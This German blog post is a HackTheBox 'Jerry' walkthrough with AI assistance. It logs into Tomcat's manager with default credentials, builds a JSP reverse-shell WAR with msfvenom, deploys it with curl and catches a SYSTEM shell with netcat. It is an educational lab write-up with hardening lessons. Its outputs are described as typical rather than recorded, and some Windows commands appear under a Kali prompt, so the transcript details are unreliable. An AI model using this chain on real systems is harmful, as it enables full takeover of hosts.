flowki@club:~$ Coding, Automation & Security — auf Deutsch
FlowKI Club

Deine KI. Deine Community. Deine Vorteile.

  • KI Know-how
  • Prompts & Tools
  • Security & Privacy
  • Community Support
  • Exklusive Vorteile
Werde Teil der Community

Jerry Walkthrough — HackTheBox Easy (Windows) mit KI-Unterstützung

Wie sich die HTB-Machine Jerry in unter 10 Minuten lösen lässt — Apache Tomcat Default-Credentials, WAR-Deployment, direkt zu SYSTEM. Plus: wie Claude Code bei so einem Solve als Pair-Partner unterstützen kann.

Jerry Walkthrough — HackTheBox Easy (Windows) mit KI-Unterstützung

Dieser Beitrag wurde mit KI-Unterstützung aus der angegebenen Quelle erstellt und vor der Veröffentlichung automatisch gegen sie abgeglichen. Nicht jeder Beitrag wird zusätzlich von Hand gelesen — wir prüfen stichprobenweise nach und kennzeichnen Korrekturen. Beruht ein Artikel auf einem selbst durchgeführten Test, weisen wir das ausdrücklich aus.

Worum es bei dieser Box geht

Jerry ist eine der einfachsten Maschinen auf HackTheBox — und trotzdem lehrreicher als viele mittelschwere Boxen. Der Grund: Sie zeigt, was in der realen Welt passiert, wenn jemand Apache Tomcat mit Default-Credentials deployed und vergisst, den Manager-Endpoint abzusichern.

Die Box läuft auf Windows Server 2012 R2 und dem Tomcat-Stack ist es vollkommen egal, ob du ein Pentester mit 10 Jahren Erfahrung bist oder jemand der gerade seinen zweiten Tag auf HackTheBox verbringt. Die Angriffsfläche ist minimal — aber die Konsequenz ist maximal: nt authority\system in unter 10 Minuten.

Was dieser Walkthrough zeigt: Wie Claude Code als Pair-Partner die Enumeration strukturieren, den Exploit-Pfad ableiten und die Befehle generieren kann — während der Mensch die Kontrolle behält und jeden Schritt selbst verifiziert. Die gezeigten Terminal-Outputs sind typisch für diesen Box-Typ, keine Aufzeichnung einer einzelnen protokollierten Session.

Ein typisches Setup für so einen Solve

Hardware: Kali Linux in VirtualBox, ausreichend für die meisten Easy-Boxen VPN-Connect: HTB OpenVPN, eigenes tun0-Interface im HTB-Adressraum Tools: nmap, msfvenom, netcat, curl

┌──(root㉿kali)-[~]
└─# ip addr show tun0 | grep inet
inet 10.10.14.22/23

Claude Code lässt sich für so ein Engagement gut in einem isolierten Verzeichnis (z. B. ~/htb/jerry/) starten — ohne Zugriff auf andere Projekte.

Recon

Zuerst der Standard-nmap-Scan gegen die Box-IP 10.10.10.95:

┌──(root㉿kali)-[~/htb/jerry]
└─# nmap -sV -sC -p- --min-rate 5000 10.10.10.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-29 14:22 UTC
Nmap scan report for 10.10.10.95
Host is up (0.028s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap done: 1 IP address (1 host up) scanned in 47.32 seconds

Was das bedeutet: Zwei Ports — IIS auf 80 (Default-Page, uninteressant) und Apache Tomcat 7.0.88 auf 8080. Tomcat 7.x ist alt und hat bekannte Schwachstellen. Der Manager-Endpoint läuft standardmäßig unter /manager/html — und dort liegt die eigentliche Angriffsfläche.

Claude Code weist an dieser Stelle typischerweise sofort auf den Tomcat-Manager-Endpoint hin und schlägt eine Credential-Brute-Force gegen die Default-Liste vor. Schneller geht es oft, direkt mit den häufigsten Defaults zu starten:

┌──(root㉿kali)-[~/htb/jerry]
└─# curl -s http://10.10.10.95:8080/manager/html -u tomcat:s3cret -o /dev/null -w '%{http_code}'
200

Bingo. tomcat:s3cret — einer der ältesten Tomcat-Default-Credentials überhaupt. Der Manager ist offen.

Foothold / Initial Access

Tomcat Manager erlaubt das Deployen von WAR-Dateien (Web Application Archive). Das ist eine legitime Feature — und in diesem Fall unser direkter Weg zu einer Shell.

Der Plan: msfvenom generiert eine JSP-Reverse-Shell als WAR-File, wir deployen sie über den Manager, rufen den Endpoint auf und bekommen eine Verbindung zurück.

┌──(root㉿kali)-[~/htb/jerry]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.22 LPORT=4444 -f war -o shell.war
Payload size: 1091 bytes
Final size of war file: 1091 bytes
Saved as: shell.war
┌──(root㉿kali)-[~/htb/jerry]
└─# curl -s -u tomcat:s3cret http://10.10.10.95:8080/manager/text/deploy?path=/shell --upload-file shell.war
OK - Deployed application at context path [/shell]

Listener starten, dann den Endpoint triggern:

┌──(root㉿kali)-[~/htb/jerry]
└─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.95 49196
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>whoami
nt authority\system

Direkt SYSTEM. Kein Privilege Escalation nötig — Tomcat läuft bereits als nt authority\system. Das ist der eigentliche Lernpunkt dieser Box: In der Praxis laufen Services viel zu oft mit übermäßigen Rechten. Ein kompromittierter Tomcat-Server = kompletter System-Takeover.

Warum hat das funktioniert? Drei kombinierte Fehler: Default-Credentials nicht geändert, Manager-Endpoint öffentlich erreichbar, Tomcat mit SYSTEM-Rechten deployed. Jeder dieser Fehler allein wäre schon problematisch — alle drei zusammen sind fatal.

Privilege Escalation

Keine nötig — trotzdem lohnt sich der Privilege-Check, um den Scope zu verstehen:

┌──(root㉿kali)-[~/htb/jerry]
└─# whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                  Description                               State   
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Enabled 
SeSecurityPrivilege             Manage auditing and security log          Enabled 
SeTakeOwnershipPrivilege        Take ownership of files/objects           Enabled 
SeLoadDriverPrivilege           Load and unload device drivers            Enabled 
SeDebugPrivilege                Debug programs                            Enabled 
SeImpersonatePrivilege          Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege         Create global objects                     Enabled

Volle Privileges. Auf zum Desktop:

┌──(root㉿kali)-[~]
└─$ type C:\Users\Administrator\Desktop\user.txt
[USER-FLAG]
┌──(root㉿kali)-[~]
└─# type C:\Users\Administrator\Desktop\root.txt
[ROOT-FLAG]

Beide Flags auf dem Administrator-Desktop — bei Windows-Boxen findet man User-Flag und Root-Flag manchmal an derselben Stelle, weil keine Privilege-Escalation stattfindet. (Die tatsächlichen Flag-Werte sind pro HTB-Instanz einzigartig und werden hier bewusst nicht veröffentlicht — das verstößt gegen die HTB-Nutzungsbedingungen.)

Lessons Learned

Was diese Box lehrt:

  • Default-Credentials sind realer als man denkt. tomcat:s3cret ist 2026 immer noch in freier Wildbahn zu finden. Jedes Security-Audit sollte einen Default-Credential-Check beinhalten.
  • Least Privilege ist kein Luxury-Feature. Wenn Tomcat mit SYSTEM-Rechten läuft, ist ein kompromittierter Webserver gleichzeitig ein kompromittierter Host. Service-Isolation ist nicht optional.
  • Manager-Endpunkte gehören nie ins Internet. /manager/html sollte hinter IP-Whitelisting oder komplett deaktiviert sein.

Empfehlung: Jerry ist empfehlenswert für Einsteiger, weil sie drei der häufigsten Fehler in realen Umgebungen in einer Box vereint — und weil der Exploit-Pfad klar genug ist, um das WHY zu verstehen.

Claude Code als Pair-Partner: Bei so einem Solve unterstützt Claude Code typischerweise stark bei Recon-Analyse, Exploit-Pfad-Identifikation, Payload-Generierung und Flag-Lokalisierung. Die initiale Credential-Guess bleibt meist manueller Input — für systematische Enumeration und Exploit-Auswahl ist es aber ein starker Pair-Partner.


Rechtlicher Hinweis

Alle gezeigten Techniken wurden ausschließlich gegen die offizielle HackTheBox-Laborumgebung angewendet. HackTheBox stellt diese Maschinen explizit für Lernzwecke zur Verfügung. Die beschriebenen Methoden dürfen nur gegen Systeme angewendet werden, für die eine ausdrückliche Genehmigung vorliegt.

TeilenXLinkedInWhatsApp
Weiterlesen

Aus dem Magazin

Alle Artikel
SECURITY

KI-Fähigkeiten in der Cybersecurity wachsen schneller als erwartet

2 min · 14. Mai

SECURITY

Malware über Google Ads und Claude.ai: Neue Betrugsmasche gegen Mac-Nutzer

2 min · 12. Mai

SECURITY

n8n: Kritische Lücken ermöglichen Account-Übernahme

2 min · 26. Juli